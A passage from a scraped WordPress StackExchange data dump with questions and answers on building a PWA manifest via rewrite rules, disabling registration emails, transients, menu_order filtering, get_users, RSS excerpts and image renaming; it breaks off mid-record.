get_theme_file_uri( \"assets/media/android/splash-icon-512x512.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"512x512\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-192x192.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"192x192\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-144x144.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"144x144\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-96x96.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"96x96\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-72x72.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"72x72\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-48x48.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"48x48\",\n ),\n ),\n );\n\n wp_send_json( $manifest );\n }\n}\n\nadd_action( \"wp\", \"fvpd_construct_manifest\" );\n</code></pre>\n\n<p>Notice the usage of the WordPress function <code>wp_send_json()</code> which handles for you necessary headers, json converting, etc.</p>\n\n<p>Make sure you flush your permalinks and test the URL which will be something like <code>http://localhost/wp-content/themes/your-theme/manifest.json</code>.</p>\n\n<p>If the above still doesn't solve your issue it means you are also having trouble setting your web server correctly, NGINX or APACHE, following WordPress standards.</p>\n"
},
{
"answer_id": 340522,
"author": "Nathan Powell",
"author_id": 27196,
"author_profile": "https://wordpress.stackexchange.com/users/27196",
"pm_score": 0,
"selected": false,
"text": "<p>I think you just have a typo. Changing the following made this work for me on multisite.</p>\n\n<p>Try changing this:</p>\n\n<pre><code> add_rewrite_rule(substr(parse_url(get_template_directory_uri(), PHP_URL_PATH), 1) . \"/manifest\\.json$\", \"index.php?manifest=true\", \"top\");\n</code></pre>\n\n<p>to this:</p>\n\n<pre><code> add_rewrite_rule(substr(parse_url(get_template_directory_uri(), PHP_URL_PATH), 1) . \"/manifest.json\", \"index.php?manifest=true\", \"top\");\n</code></pre>\n"
}
] | 2019/04/08 | [
"https://wordpress.stackexchange.com/questions/333810",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112604/"
] | I'm trying to create a custom theme. I added theme compatibility with Woocommerce to my theme, and am trying to create a product loop. I want to filter my loop so it only displays post with the category "cap" I tried the following versions:
```
$params = array('posts_per_page' => 5, 'post_type' => 'product', 'category_name' => 'cap');
```
$wc\_query = new WP\_Query($params);
?>
and also tried displaying it by Category ID. Both show me no products. Am I doing something wrong? Using PHP 7.2
Some images showing cat setup:
<https://www.dropbox.com/s/97p4hj3e2i1lr4v/Screenshot%202019-04-08%2019.31.10.png?dl=0>
<https://www.dropbox.com/s/ybxvsk9da71saoq/Screenshot%202019-04-08%2019.31.50.png?dl=0>
Any help is appreciated! | Basically, you are doing one thing wrong, which is actually having a file named `manifest.json` inside `/wp-content/themes/your-theme`.
So, first, delete your file `/wp-content/themes/your-theme/manifest.json`.
Then, in your **functions.php** file you can have your rewrite rule as:
```
function fvpd_pwa_rewrite_rules() {
add_rewrite_endpoint( "manifest", EP_NONE );
add_rewrite_rule( substr( parse_url( get_template_directory_uri(), PHP_URL_PATH ), 1 ) . "/manifest.json/?$", "index.php?manifest=true", "top" );
}
add_action( "init", "fvpd_pwa_rewrite_rules" );
```
And your json content as:
```
// construct a manifest when the user visits {theme_folder}/manifest.json
function fvpd_construct_manifest() {
if ( get_query_var( "manifest" ) ) {
$name = fvpd_get_field( "full_name", "pwa" );
$short_name = fvpd_get_field( "short_name", "pwa" );
$background_color = fvpd_get_field( "background_color", "pwa" );
$theme_color = fvpd_get_field( "theme_color", "pwa" );
$manifest = array(
"start_url" => "/",
"display" => "standalone",
"name" => $name ? $name : "Fox Valley Park District - DEV",
"short_name" => $short_name ? $short_name : "FVPD",
"background_color" => $background_color ? $background_color : "#E58F1A",
"theme_color" => $theme_color ? $theme_color : "#E58F1A",
"icons" => array(
array(
"src" => get_theme_file_uri( "assets/media/android/splash-icon-512x512.png" ),
"type" => "image/png",
"sizes" => "512x512",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-192x192.png" ),
"type" => "image/png",
"sizes" => "192x192",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-144x144.png" ),
"type" => "image/png",
"sizes" => "144x144",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-96x96.png" ),
"type" => "image/png",
"sizes" => "96x96",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-72x72.png" ),
"type" => "image/png",
"sizes" => "72x72",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-48x48.png" ),
"type" => "image/png",
"sizes" => "48x48",
),
),
);
wp_send_json( $manifest );
}
}
add_action( "wp", "fvpd_construct_manifest" );
```
Notice the usage of the WordPress function `wp_send_json()` which handles for you necessary headers, json converting, etc.
Make sure you flush your permalinks and test the URL which will be something like `http://localhost/wp-content/themes/your-theme/manifest.json`.
If the above still doesn't solve your issue it means you are also having trouble setting your web server correctly, NGINX or APACHE, following WordPress standards. |
333,820 | <p>My client wants to turn off the email you receive when register.</p>
| [
{
"answer_id": 333829,
"author": "Rup",
"author_id": 3276,
"author_profile": "https://wordpress.stackexchange.com/users/3276",
"pm_score": 1,
"selected": false,
"text": "<p>You can declare a new replacement <a href=\"https://developer.wordpress.org/reference/functions/wp_new_user_notification/\" rel=\"nofollow noreferrer\">wp_new_user_notification</a> that does not send notifications in a plugin. It's a <a href=\"https://codex.wordpress.org/Pluggable_Functions\" rel=\"nofollow noreferrer\">pluggable function</a>, meaning that the WordPress core version is only used if a plugin hasn't defined a version already.</p>\n\n<p>You'll find the current core version in <a href=\"https://github.com/WordPress/WordPress/blob/5.1.1/wp-includes/pluggable.php#L1874\" rel=\"nofollow noreferrer\">wp-includes/pluggable.php</a>. If you still want the admin notification email then copy everything up to <code>$key = wp_generate_password( 20, false );</code> into your replacement.</p>\n\n<p>Beware that this is now a fairly poor experience for new users: they'll have to sign up and then use your login form to reset their password. Unless you have some other mechanism for setting and sending them credentials.</p>\n"
},
{
"answer_id": 333830,
"author": "butlerblog",
"author_id": 38603,
"author_profile": "https://wordpress.stackexchange.com/users/38603",
"pm_score": 3,
"selected": true,
"text": "<p>The function that generates the new user notification is <code>wp_new_user_notification()</code>. It is called by another (similarly named) function <code>wp_new_user_notifications()</code> which is triggered by the action hook <code>register_new_user</code> in the <code>register_new_user()</code> function.</p>\n\n<p>If you follow that (or even if you don't), all you need to do is remove the <code>wp_new_user_notifications()</code> filter from the <code>register_new_user</code> action:</p>\n\n<pre><code>add_action( 'init', function() {\n remove_action( 'register_new_user', 'wp_send_new_user_notifications' );\n});\n</code></pre>\n\n<p>As others have noted, if you remove this, then depending on how you have the site set up with user passwords, etc, you may have to consider how users will be able to initially access the site.</p>\n"
}
] | 2019/04/08 | [
"https://wordpress.stackexchange.com/questions/333820",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/151185/"
] | My client wants to turn off the email you receive when register. | The function that generates the new user notification is `wp_new_user_notification()`. It is called by another (similarly named) function `wp_new_user_notifications()` which is triggered by the action hook `register_new_user` in the `register_new_user()` function.
If you follow that (or even if you don't), all you need to do is remove the `wp_new_user_notifications()` filter from the `register_new_user` action:
```
add_action( 'init', function() {
remove_action( 'register_new_user', 'wp_send_new_user_notifications' );
});
```
As others have noted, if you remove this, then depending on how you have the site set up with user passwords, etc, you may have to consider how users will be able to initially access the site. |
333,850 | <p>I have created an autosuggest array that I want to store in a transient. My code looks like this:</p>
<pre><code><?php
// Get any existing copy of our transient data
$suggest = get_transient('suggest');
if ( false === ( $suggest = get_transient( 'suggest' ) ) ) {
// It wasn't there, so regenerate the data and save the transient
$suggest = array();
// We will loop a custom post type and fetch custom meta from each post to be added into the autosuggest array
$query = new WP_Query( array( 'post_type' => 'my_custom_post_type', 'posts_per_page' => -1, ) );
$posts = $query->posts;
foreach($posts as $post) {
$value1 = get_post_meta( get_the_ID() , '_town', true );
$value2 = get_post_meta( get_the_ID() , '_quarteroftown', true );
$value3 = get_post_meta( get_the_ID() , '_street_name', true );
$value4 = get_post_meta( get_the_ID() , '_supplier_postcode', true );
if (!in_array($value1, $suggest))
{
$suggest[] = $value1;
}
if (!in_array($value2, $suggest))
{
$suggest[] = $value2;
}
if (!in_array($value3, $suggest))
{
$suggest[] = $value3;
}
if (!in_array($value4, $suggest))
{
$suggest[] = $value4;
}
}
set_transient( 'suggest', $suggest, HOUR_IN_SECONDS );
}; ?>
</code></pre>
<p>If I do not set a transient and simply use the $suggest object, all values are properly there in the array. When I add the transient functionality as seen above, the transient will only have $value1 and $value2 strings in it, none of _streetname or _supplier_postcode.</p>
<p>Further fuel to my wtf-fire: if I simply order the transient to be deleted every time, it starts working! See code below:</p>
<pre><code><?php
// Get any existing copy of our transient data
delete_transient('suggest'); // ADDING THIS AND FORCING REGEN OF TRANSIENT EVERY TIME FIXES THE PROBLEM!
$suggest = get_transient('suggest');
</code></pre>
<p>I am at a loss. What on earth can be causing this behaviour?</p>
| [
{
"answer_id": 333864,
"author": "djboris",
"author_id": 152412,
"author_profile": "https://wordpress.stackexchange.com/users/152412",
"pm_score": 0,
"selected": false,
"text": "<p>There is an issue with your code. You are querying the posts, and looping through them without setting the global <code>$post</code> variable. In this kind of loops you can't use <code>get_the_ID()</code> function, as it will return the ID of the currently global <code>$post</code> variable which in your case could be anything, depending on the context of your code.</p>\n\n<p>See the difference:</p>\n\n<pre><code>\n$query = new WP_Query( [ 'post_type' => 'my_custom_post_type', 'posts_per_page' => - 1, ] );\n\n// First case\nif ($query->have_posts()) {\n while($query->have_posts()) {\n // This actually sets the global $post variable to the current post in the loop\n $query->the_post();\n\n // Here you can use context-dependable functions\n $ID = get_the_ID();\n $title = get_the_title();\n }\n}\n\n// You should reset the globals to the previous state\nwp_reset_query();\n\n// The Second case\n// Please don't use $post variable in your loops, it can sometimes interfere\n// with the global $post variable\n$my_posts = $query->get_posts();\nforeach ($my_posts as $my_post) {\n // here $post is not the global variable, so we can't use the same functions\n $ID = $my_post->ID;\n $title = $my_post->post_title;\n}\n\n</code></pre>\n\n<p>You can read more about the <code>WP_Query</code> on the WP <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query\" rel=\"nofollow noreferrer\">official documentation</a>.</p>\n"
},
{
"answer_id": 333869,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 2,
"selected": true,
"text": "<p>You are using <code>get_the_id()</code> <a href=\"https://developer.wordpress.org/reference/functions/get_the_id/\" rel=\"nofollow noreferrer\">template tag</a> without proper <a href=\"https://codex.wordpress.org/The_Loop\" rel=\"nofollow noreferrer\"><strong>loop</strong></a>.</p>\n\n<p>Your code should be something like this </p>\n\n<pre><code><?php\n// Get any existing copy of our transient data\n$suggest = get_transient('suggest');\nif ( false === ( $suggest = get_transient( 'suggest' ) ) ) {\n // It wasn't there, so regenerate the data and save the transient\n $suggest = array();\n // We will loop a custom post type and fetch custom meta from each post to be added into the autosuggest array\n $query = new WP_Query( array( 'post_type' => 'my_custom_post_type', 'posts_per_page' => -1, ) );\n $posts = $query->posts;\n foreach($posts as $the_post) {\n $value1 = get_post_meta( $the_post->ID , '_town', true );\n $value2 = get_post_meta( $the_post->ID , '_quarteroftown', true );\n $value3 = get_post_meta( $the_post->ID , '_street_name', true );\n $value4 = get_post_meta( $the_post->ID , '_supplier_postcode', true );\n\n if (!in_array($value1, $suggest))\n {\n $suggest[] = $value1; \n }\n if (!in_array($value2, $suggest))\n {\n $suggest[] = $value2; \n }\n if (!in_array($value3, $suggest))\n {\n $suggest[] = $value3; \n }\n if (!in_array($value4, $suggest))\n {\n $suggest[] = $value4; \n }\n }\n set_transient( 'suggest', $suggest, HOUR_IN_SECONDS );\n}; ?>\n</code></pre>\n"
}
] | 2019/04/09 | [
"https://wordpress.stackexchange.com/questions/333850",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164729/"
] | I have created an autosuggest array that I want to store in a transient. My code looks like this:
```
<?php
// Get any existing copy of our transient data
$suggest = get_transient('suggest');
if ( false === ( $suggest = get_transient( 'suggest' ) ) ) {
// It wasn't there, so regenerate the data and save the transient
$suggest = array();
// We will loop a custom post type and fetch custom meta from each post to be added into the autosuggest array
$query = new WP_Query( array( 'post_type' => 'my_custom_post_type', 'posts_per_page' => -1, ) );
$posts = $query->posts;
foreach($posts as $post) {
$value1 = get_post_meta( get_the_ID() , '_town', true );
$value2 = get_post_meta( get_the_ID() , '_quarteroftown', true );
$value3 = get_post_meta( get_the_ID() , '_street_name', true );
$value4 = get_post_meta( get_the_ID() , '_supplier_postcode', true );
if (!in_array($value1, $suggest))
{
$suggest[] = $value1;
}
if (!in_array($value2, $suggest))
{
$suggest[] = $value2;
}
if (!in_array($value3, $suggest))
{
$suggest[] = $value3;
}
if (!in_array($value4, $suggest))
{
$suggest[] = $value4;
}
}
set_transient( 'suggest', $suggest, HOUR_IN_SECONDS );
}; ?>
```
If I do not set a transient and simply use the $suggest object, all values are properly there in the array. When I add the transient functionality as seen above, the transient will only have $value1 and $value2 strings in it, none of \_streetname or \_supplier\_postcode.
Further fuel to my wtf-fire: if I simply order the transient to be deleted every time, it starts working! See code below:
```
<?php
// Get any existing copy of our transient data
delete_transient('suggest'); // ADDING THIS AND FORCING REGEN OF TRANSIENT EVERY TIME FIXES THE PROBLEM!
$suggest = get_transient('suggest');
```
I am at a loss. What on earth can be causing this behaviour? | You are using `get_the_id()` [template tag](https://developer.wordpress.org/reference/functions/get_the_id/) without proper [**loop**](https://codex.wordpress.org/The_Loop).
Your code should be something like this
```
<?php
// Get any existing copy of our transient data
$suggest = get_transient('suggest');
if ( false === ( $suggest = get_transient( 'suggest' ) ) ) {
// It wasn't there, so regenerate the data and save the transient
$suggest = array();
// We will loop a custom post type and fetch custom meta from each post to be added into the autosuggest array
$query = new WP_Query( array( 'post_type' => 'my_custom_post_type', 'posts_per_page' => -1, ) );
$posts = $query->posts;
foreach($posts as $the_post) {
$value1 = get_post_meta( $the_post->ID , '_town', true );
$value2 = get_post_meta( $the_post->ID , '_quarteroftown', true );
$value3 = get_post_meta( $the_post->ID , '_street_name', true );
$value4 = get_post_meta( $the_post->ID , '_supplier_postcode', true );
if (!in_array($value1, $suggest))
{
$suggest[] = $value1;
}
if (!in_array($value2, $suggest))
{
$suggest[] = $value2;
}
if (!in_array($value3, $suggest))
{
$suggest[] = $value3;
}
if (!in_array($value4, $suggest))
{
$suggest[] = $value4;
}
}
set_transient( 'suggest', $suggest, HOUR_IN_SECONDS );
}; ?>
``` |
333,851 | <p>Is it possible to get posts where menu_order is more than 0? I have tried this argument when I <code>get_posts()</code> but it doesn't have any effect at all:</p>
<pre><code>'meta_query' => array(
'key' => 'menu_order'
, 'value' => '0'
, 'compare' => '>'
)
</code></pre>
<p>What I'm after in the first place is to treat menu_order 0 as last priority, or "specific menu_order not set" so that if I set a post to 1 or 2 as menu_order. Those posts will be looped out before everyone with 0. I should say, all of this with ASC as orderby of course. </p>
<p>And I can't see any other WordPress-way to do it than have two <code>get_posts()</code> after each other and in the first one exclude all posts with menu_order 0 and in the second only get these ones.</p>
<p>But to do that, I first have to find out how to filter by menu_order. Anyone that knows how to do that?</p>
| [
{
"answer_id": 333858,
"author": "Karun",
"author_id": 63470,
"author_profile": "https://wordpress.stackexchange.com/users/63470",
"pm_score": 0,
"selected": false,
"text": "<pre><code><?php\nfunction ignore_zero_menu_order( $where ){ \n global $wpdb;\n $where = $where . ' AND $wpdb->posts.menu_order > 0 '; \n return $where;\n}\n\n$args = array( \n 'post_type' => 'page',\n 'meta_query' => array(\n 'key' => 'menu_order',\n 'value' => '0',\n 'compare' => '>'\n )\n);\n\n\nadd_filter( 'posts_where', 'ignore_zero_menu_order' );\n$query = new WP_Query($args);\nremove_filter( 'posts_where', 'ignore_zero_menu_order' );\n</code></pre>\n"
},
{
"answer_id": 333878,
"author": "Peter Westerlund",
"author_id": 3216,
"author_profile": "https://wordpress.stackexchange.com/users/3216",
"pm_score": 1,
"selected": false,
"text": "<p>Karun's answer made me look more into the <code>posts_where</code> filter to find a better solution to hook into the WP_Query. After a bit more google searching I found <a href=\"https://macarthur.me/posts/using-the-posts-where-filter-in-wordpress\" rel=\"nofollow noreferrer\">this page</a> that did it in a better way.</p>\n\n<p>Using that method I finally got it to work like this:</p>\n\n<pre><code>add_filter('posts_where', function ($where, $query)\n{\n global $wpdb;\n\n $label = $query->query['query_label'] ?? '';\n\n if ($label === 'ignore_zero_query')\n { \n $where .= \" AND {$wpdb->prefix}posts.menu_order > 0 \";\n }\n\n if ($label === 'only_zero_query')\n {\n $where .= \" AND {$wpdb->prefix}posts.menu_order <= 0 \";\n }\n\n return $where;\n\n}, 10, 2);\n</code></pre>\n\n<p>And I now get the posts this way instead:</p>\n\n<pre><code>$args = array(\n 'posts_per_page' => -1,\n 'query_label' => 'ignore_zero_query',\n );\n$posts_query = new WP_Query();\n$posts = $posts_query->query($args);\n</code></pre>\n"
}
] | 2019/04/09 | [
"https://wordpress.stackexchange.com/questions/333851",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/3216/"
] | Is it possible to get posts where menu\_order is more than 0? I have tried this argument when I `get_posts()` but it doesn't have any effect at all:
```
'meta_query' => array(
'key' => 'menu_order'
, 'value' => '0'
, 'compare' => '>'
)
```
What I'm after in the first place is to treat menu\_order 0 as last priority, or "specific menu\_order not set" so that if I set a post to 1 or 2 as menu\_order. Those posts will be looped out before everyone with 0. I should say, all of this with ASC as orderby of course.
And I can't see any other WordPress-way to do it than have two `get_posts()` after each other and in the first one exclude all posts with menu\_order 0 and in the second only get these ones.
But to do that, I first have to find out how to filter by menu\_order. Anyone that knows how to do that? | Karun's answer made me look more into the `posts_where` filter to find a better solution to hook into the WP\_Query. After a bit more google searching I found [this page](https://macarthur.me/posts/using-the-posts-where-filter-in-wordpress) that did it in a better way.
Using that method I finally got it to work like this:
```
add_filter('posts_where', function ($where, $query)
{
global $wpdb;
$label = $query->query['query_label'] ?? '';
if ($label === 'ignore_zero_query')
{
$where .= " AND {$wpdb->prefix}posts.menu_order > 0 ";
}
if ($label === 'only_zero_query')
{
$where .= " AND {$wpdb->prefix}posts.menu_order <= 0 ";
}
return $where;
}, 10, 2);
```
And I now get the posts this way instead:
```
$args = array(
'posts_per_page' => -1,
'query_label' => 'ignore_zero_query',
);
$posts_query = new WP_Query();
$posts = $posts_query->query($args);
``` |
333,863 | <p>I have an array of user IDs, I want to get data for each of these users. I first thought of writing a classic SQL query but I found WordPress has integreted functions for it. However, <code>get_users(...)</code> is only returning me 1 users though it should return 3. What am I doing wrong?</p>
<pre><code>var_dump($targetUsersIDs);
$targetUsers = get_users(['include' => $targetUsersIDs]);
var_dump($targetUsers);
</code></pre>
<p>Output of <code>var_dump($targetUsersIDs);</code></p>
<blockquote>
<pre><code>array (size=3)
0 =>
object(stdClass)[4785]
public 'ID' => string '1' (length=1)
1 =>
object(stdClass)[4784]
public 'ID' => string '2' (length=1)
2 =>
object(stdClass)[4783]
public 'ID' => string '4' (length=1)
</code></pre>
</blockquote>
<p>Start of the output of <code>var_dump(targetUsers);</code></p>
<blockquote>
<pre><code>array (size=1)
0 =>
object(WP_User) ...
</code></pre>
</blockquote>
| [
{
"answer_id": 333867,
"author": "Julian",
"author_id": 159818,
"author_profile": "https://wordpress.stackexchange.com/users/159818",
"pm_score": 2,
"selected": false,
"text": "<p>The <code>include</code> key on <code>get_users</code> requires an array of IDs (numbers). You are giving it an array of objects that have an ID property. If you look at your first var dump you will see this. WP is casting that to a number and returning the user with that number which is not what you want.</p>\n"
},
{
"answer_id": 333873,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 0,
"selected": false,
"text": "<p>Do it like this</p>\n\n<pre><code>var_dump($targetUsersIDs);\n\n$ids = array();\nforeach ( $targetUsersIDs as $id ) $ids[] = $id;\n\n$targetUsers = get_users(['include' => $ids ] );\nvar_dump($targetUsers);\n</code></pre>\n\n<p>I hope this may help.</p>\n"
},
{
"answer_id": 333886,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 0,
"selected": false,
"text": "<p>You should be using <a href=\"https://codex.wordpress.org/Class_Reference/WP_User_Query\" rel=\"nofollow noreferrer\"><code>WP_User_Query</code></a> for this.</p>\n\n<pre><code>$user_ids = [ 1, 2, 3, 4, 5 ];\n\n$args = [\n 'include' = $user_ids,\n]\n\n$user_query = new WP_User_Query( $args );\n</code></pre>\n\n<p>Now you can simply use the result in a user loop/foreach.</p>\n"
},
{
"answer_id": 333888,
"author": "TTT",
"author_id": 164696,
"author_profile": "https://wordpress.stackexchange.com/users/164696",
"pm_score": 1,
"selected": false,
"text": "<p>Somebody has posted this solution and then deleted their post:</p>\n\n<pre><code>$targetUsers = get_users(['include' => wp_list_pluck($targetUsersIDs,'ID')]);\n</code></pre>\n\n<p>It is where I'm using right now.</p>\n\n<p>Please dn't hesitate to tell me if there's any reason it was wrong (I'm not sure the user has deleted their answer).</p>\n"
}
] | 2019/04/09 | [
"https://wordpress.stackexchange.com/questions/333863",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164696/"
] | I have an array of user IDs, I want to get data for each of these users. I first thought of writing a classic SQL query but I found WordPress has integreted functions for it. However, `get_users(...)` is only returning me 1 users though it should return 3. What am I doing wrong?
```
var_dump($targetUsersIDs);
$targetUsers = get_users(['include' => $targetUsersIDs]);
var_dump($targetUsers);
```
Output of `var_dump($targetUsersIDs);`
>
>
> ```
> array (size=3)
> 0 =>
> object(stdClass)[4785]
> public 'ID' => string '1' (length=1)
> 1 =>
> object(stdClass)[4784]
> public 'ID' => string '2' (length=1)
> 2 =>
> object(stdClass)[4783]
> public 'ID' => string '4' (length=1)
>
> ```
>
>
Start of the output of `var_dump(targetUsers);`
>
>
> ```
> array (size=1)
> 0 =>
> object(WP_User) ...
>
> ```
>
> | The `include` key on `get_users` requires an array of IDs (numbers). You are giving it an array of objects that have an ID property. If you look at your first var dump you will see this. WP is casting that to a number and returning the user with that number which is not what you want. |
333,868 | <p>I'm new to coding and know next to nothing. I've done a ton research on the web, and I foudn the following code to import an RSS feed and place it in my template. The problem is that while I get 10 different titles, 10 different dates, 10 different images, I get the same excerpt for each item. Can someone please help me figure out what I'm doing wrong?</p>
<p>(I should mention that the code I found did nit include get_the_excerpt, I added that hoping to get the excerpt for each post, not the same one for all of them.)</p>
<p>Thanks.</p>
<pre><code><?php
$feed = fetch_feed( 'http://example.com/feed/' );
if (!is_wp_error( $feed ) ) : // Checks that the object is created correctly
// Figure out how many total items there are, but limit it to 10.
$maxitems = $feed->get_item_quantity(10);
// Build an array of all the items, starting with element 0 (first element).
$rss_items = $feed->get_items(0, $maxitems);
endif;
?>
<?php if ($maxitems == 0) echo '<li>No items.</li>';
else
// Loop through each feed item and display each item as a hyperlink.
foreach ( $rss_items as $item ) : ?>
<div>
<?php
//Use regular expressions to find all images in the post
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $item->get_content(), $matches);
//Grab the first image to use as a thumbnail
$first_img = $matches [1][0];
//If an image exists, display it
if($first_img) {echo '<img src="'.$first_img.'" alt="'.$item->get_title().'" />';}
?>
//Display the post title as a link inside an <h5> tag
<h5><a href='<?php echo esc_url( $item->get_permalink() ); ?>'
title='<?php echo 'Posted '.$item->get_date('j F Y | g:i a'); ?>'>
<?php echo esc_html( $item->get_title() ); ?></a></h5>
//Display the item's publishing date
<p><?php echo $item->get_date('n/d/Y'); ?></p>
</div>
//Display the post exerpt
<p><?php echo get_the_excerpt(); ?></p>
<?php endforeach; ?>
</code></pre>
| [
{
"answer_id": 333871,
"author": "Amirition",
"author_id": 136480,
"author_profile": "https://wordpress.stackexchange.com/users/136480",
"pm_score": -1,
"selected": false,
"text": "<p>Since you're not using the default wordpress loop, you should write <code>$item</code> before the functions that you wanna use in your loop, Same as you did for the permalink and the title. </p>\n\n<p>So your code will be like: </p>\n\n<pre><code>//Display the post exerpt\n<p><?php $item->the_excerpt(); ?></p>\n</code></pre>\n"
},
{
"answer_id": 333884,
"author": "Pawan Kumar",
"author_id": 164501,
"author_profile": "https://wordpress.stackexchange.com/users/164501",
"pm_score": 3,
"selected": true,
"text": "<p>After Lots of Research and Testing, I got the answer.</p>\n\n<p>the_excerpt and other custom function are not working because there is no any content tag On feed xml format.\nYou just need to add this code instead of the_excerpt</p>\n\n<pre><code> <p><?php echo esc_html( $item->get_description() ); ?></p>\n</code></pre>\n\n<p>More you can Visit <a href=\"https://wordpress.org/support/topic-tag/get_description/\" rel=\"nofollow noreferrer\">https://wordpress.org/support/topic-tag/get_description/</a></p>\n\n<p>The Full code may you try.</p>\n\n<pre><code><?php\n $feed = fetch_feed( 'http://example.com/rss/feed/goes/here' );\n if (!is_wp_error( $feed ) ) : // Checks that the object is created correctly\n // Figure out how many total items there are, but limit it to 10.\n $maxitems = $feed->get_item_quantity(10);\n\n // Build an array of all the items, starting with element 0 (first element).\n $rss_items = $feed->get_items(0, $maxitems);\n endif;\n ?>\n\n <?php if ($maxitems == 0) echo '<li>No items.</li>';\n else\n // Loop through each feed item and display each item as a hyperlink.\n foreach ( $rss_items as $item ) : ?>\n\n <div>\n <?php\n\n //Use regular expressions to find all images in the post\n $output = preg_match_all('/<img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*>/i', $item->get_content(), $matches);\n\n //Grab the first image to use as a thumbnail\n $first_img = $matches [1][0];\n\n //If an image exists, display it\n if($first_img) {echo '<img src=\"'.$first_img.'\" alt=\"'.$item->get_title().'\" />';}\n ?>\n\n\n <h5><a href='<?php echo esc_url( $item->get_permalink() ); ?>'\n title='<?php echo 'Posted '.$item->get_date('j F Y | g:i a'); ?>'>\n <?php echo esc_html( $item->get_title() ); ?></a></h5>\n\n\n <p><?php echo $item->get_date('n/d/Y'); ?></p>\n </div>\n\n\n <p><?php echo esc_html( $item->get_description() ); ?></p>\n\n\n\n\n <?php endforeach; ?>\n</code></pre>\n"
}
] | 2019/04/09 | [
"https://wordpress.stackexchange.com/questions/333868",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164741/"
] | I'm new to coding and know next to nothing. I've done a ton research on the web, and I foudn the following code to import an RSS feed and place it in my template. The problem is that while I get 10 different titles, 10 different dates, 10 different images, I get the same excerpt for each item. Can someone please help me figure out what I'm doing wrong?
(I should mention that the code I found did nit include get\_the\_excerpt, I added that hoping to get the excerpt for each post, not the same one for all of them.)
Thanks.
```
<?php
$feed = fetch_feed( 'http://example.com/feed/' );
if (!is_wp_error( $feed ) ) : // Checks that the object is created correctly
// Figure out how many total items there are, but limit it to 10.
$maxitems = $feed->get_item_quantity(10);
// Build an array of all the items, starting with element 0 (first element).
$rss_items = $feed->get_items(0, $maxitems);
endif;
?>
<?php if ($maxitems == 0) echo '<li>No items.</li>';
else
// Loop through each feed item and display each item as a hyperlink.
foreach ( $rss_items as $item ) : ?>
<div>
<?php
//Use regular expressions to find all images in the post
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $item->get_content(), $matches);
//Grab the first image to use as a thumbnail
$first_img = $matches [1][0];
//If an image exists, display it
if($first_img) {echo '<img src="'.$first_img.'" alt="'.$item->get_title().'" />';}
?>
//Display the post title as a link inside an <h5> tag
<h5><a href='<?php echo esc_url( $item->get_permalink() ); ?>'
title='<?php echo 'Posted '.$item->get_date('j F Y | g:i a'); ?>'>
<?php echo esc_html( $item->get_title() ); ?></a></h5>
//Display the item's publishing date
<p><?php echo $item->get_date('n/d/Y'); ?></p>
</div>
//Display the post exerpt
<p><?php echo get_the_excerpt(); ?></p>
<?php endforeach; ?>
``` | After Lots of Research and Testing, I got the answer.
the\_excerpt and other custom function are not working because there is no any content tag On feed xml format.
You just need to add this code instead of the\_excerpt
```
<p><?php echo esc_html( $item->get_description() ); ?></p>
```
More you can Visit <https://wordpress.org/support/topic-tag/get_description/>
The Full code may you try.
```
<?php
$feed = fetch_feed( 'http://example.com/rss/feed/goes/here' );
if (!is_wp_error( $feed ) ) : // Checks that the object is created correctly
// Figure out how many total items there are, but limit it to 10.
$maxitems = $feed->get_item_quantity(10);
// Build an array of all the items, starting with element 0 (first element).
$rss_items = $feed->get_items(0, $maxitems);
endif;
?>
<?php if ($maxitems == 0) echo '<li>No items.</li>';
else
// Loop through each feed item and display each item as a hyperlink.
foreach ( $rss_items as $item ) : ?>
<div>
<?php
//Use regular expressions to find all images in the post
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $item->get_content(), $matches);
//Grab the first image to use as a thumbnail
$first_img = $matches [1][0];
//If an image exists, display it
if($first_img) {echo '<img src="'.$first_img.'" alt="'.$item->get_title().'" />';}
?>
<h5><a href='<?php echo esc_url( $item->get_permalink() ); ?>'
title='<?php echo 'Posted '.$item->get_date('j F Y | g:i a'); ?>'>
<?php echo esc_html( $item->get_title() ); ?></a></h5>
<p><?php echo $item->get_date('n/d/Y'); ?></p>
</div>
<p><?php echo esc_html( $item->get_description() ); ?></p>
<?php endforeach; ?>
``` |
333,885 | <p>Best regards, I want to change the name of the automatic image with the title of the post.</p>
<p>For example, I have the image called 1231231252345.jpg and Title of the article is "Article for a test", I want to change the name of the image in "article-for-a-test.jpg"</p>
| [
{
"answer_id": 333935,
"author": "MikeNGarrett",
"author_id": 1670,
"author_profile": "https://wordpress.stackexchange.com/users/1670",
